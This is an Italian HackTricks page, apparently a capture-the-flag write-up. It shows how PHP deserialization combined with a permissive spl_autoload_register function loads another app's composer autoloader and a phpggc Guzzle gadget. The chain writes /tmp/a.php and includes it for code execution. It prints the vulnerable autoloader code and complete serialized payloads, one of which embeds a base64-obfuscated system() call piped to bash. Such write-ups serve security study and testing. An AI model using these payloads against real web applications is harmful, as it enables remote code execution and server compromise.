PHP - Deserialization + Autoload Classes

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Prima di tutto, dovresti controllare cosa sono le Autoloading Classes.

PHP deserializzazione + spl_autoload_register + LFI/Gadget

Ci troviamo in una situazione in cui abbiamo trovato una deserializzazione PHP in un'app web senza alcuna libreria vulnerabile a gadget all'interno di phpggc. Tuttavia, nello stesso contenitore c'era un altra app web con librerie vulnerabili. Pertanto, l'obiettivo era caricare il caricatore del compositore dell'altra app web e sfruttarlo per caricare un gadget che sfrutterà quella libreria con un gadget dall'app web vulnerabile alla deserializzazione.

Passaggi:

  • Hai trovato una deserializzazione e non ci sono gadget nel codice dell'app corrente

  • Puoi sfruttare una funzione spl_autoload_register come quella seguente per caricare qualsiasi file locale con estensione .php

  • Per fare ciò, utilizzi una deserializzazione in cui il nome della classe sarà all'interno di $name. Non puoi usare "/" o "." in un nome di classe in un oggetto serializzato, ma il codice sta sostituendo i trattini bassi ("_") con barre ("/"). Quindi un nome di classe come tmp_passwd sarà trasformato in /tmp/passwd.php e il codice cercherà di caricarlo. Un esempio di gadget sarà: O:10:"tmp_passwd":0:{}

spl_autoload_register(function ($name) {

if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}

$filename = "/${name}.php";

if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});

Se hai un caricamento di file e puoi caricare un file con estensione .php, puoi sfruttare direttamente questa funzionalità e ottenere RCE.

Nel mio caso, non avevo nulla del genere, ma all'interno dello stesso contenitore c'era un'altra pagina web di composer con una libreria vulnerabile a un gadget phpggc.

  • Per caricare questa altra libreria, prima devi caricare il caricatore di composer di quell'altra app web (perché quello dell'applicazione corrente non accederà alle librerie dell'altra). Conoscendo il percorso dell'applicazione, puoi farlo molto facilmente con: O:28:"www_frontend_vendor_autoload":0:{} (Nel mio caso, il caricatore di composer era in /www/frontend/vendor/autoload.php)

  • Ora, puoi caricare il caricatore di composer dell'altra app, quindi è il momento di generare il payload phpggc da utilizzare. Nel mio caso, ho usato Guzzle/FW1, che mi ha permesso di scrivere qualsiasi file nel filesystem.

  • NOTA: Il gadget generato non funzionava, per farlo funzionare ho modificato quel payload chain.php di phpggc e ho impostato tutti gli attributi delle classi da privati a pubblici. Altrimenti, dopo la deserializzazione della stringa, gli attributi degli oggetti creati non avevano valori.

  • Ora abbiamo il modo per caricare il caricatore di composer dell'altra app e avere un payload phpggc che funziona, ma dobbiamo fare tutto questo nella STESSA RICHIESTA affinché il caricatore venga caricato quando il gadget viene utilizzato. Per fare ciò, ho inviato un array serializzato con entrambi gli oggetti come:

  • Puoi vedere prima il caricatore che viene caricato e poi il payload

a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
  • Ora possiamo creare e scrivere un file, tuttavia, l'utente non può scrivere in nessuna cartella all'interno del server web. Quindi, come puoi vedere nel payload, viene creato un PHP che chiama system con un po' di base64 in /tmp/a.php. Quindi, possiamo riutilizzare il primo tipo di payload che abbiamo usato come LFI per caricare il caricatore del compositore dell'altra webapp per caricare il file /tmp/a.php generato. Basta aggiungerlo al gadget di deserializzazione:

a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}

Sommario del payload

  • Carica l'autoload del composer di un'altra webapp nello stesso container

  • Carica un gadget phpggc per abusare di una libreria dell'altra webapp (la webapp iniziale vulnerabile alla deserializzazione non aveva alcun gadget nelle sue librerie)

  • Il gadget creerà un file con un payload PHP in /tmp/a.php con comandi maligni (l'utente della webapp non può scrivere in nessuna cartella di nessuna webapp)

  • La parte finale del nostro payload utilizzerà carica il file php generato che eseguirà i comandi

Ho dovuto chiamare questa deserializzazione due volte. Nei miei test, la prima volta il file /tmp/a.php è stato creato ma non caricato, e la seconda volta è stato caricato correttamente.

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated